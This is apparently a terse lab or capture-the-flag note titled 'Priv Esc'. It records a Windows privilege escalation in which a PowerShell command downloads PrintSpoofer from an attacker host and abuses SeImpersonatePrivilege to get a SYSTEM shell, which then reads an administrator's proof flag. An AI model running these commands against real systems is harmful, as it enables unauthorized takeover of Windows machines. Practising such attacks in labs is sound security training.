Priv Esc

PS C:\programdata> iwr 192.168.45.239/PrintSpoofer64.exe -o printspoofer.exe

PS C:\programdata> iwr 192.168.45.239/PrintSpoofer64.exe -o printspoofer.exe
iwr 192.168.45.239/PrintSpoofer64.exe -o printspoofer.exe
PS C:\programdata> .\printspoofer.exe -i -c powershell.exe
.\printspoofer.exe -i -c powershell.exe
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami ; type C:\Users\Administrator\Desktop\proof.txt
whoami ; type C:\Users\Administrator\Desktop\proof.txt
hutch\hutchdc$
dd16345916b71494cd4c74d0e5e6016b
PS C:\Windows\system32> ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet0:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::9805:466b:1c32:cc7%3
   IPv4 Address. . . . . . . . . . . : 192.168.209.122
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.209.254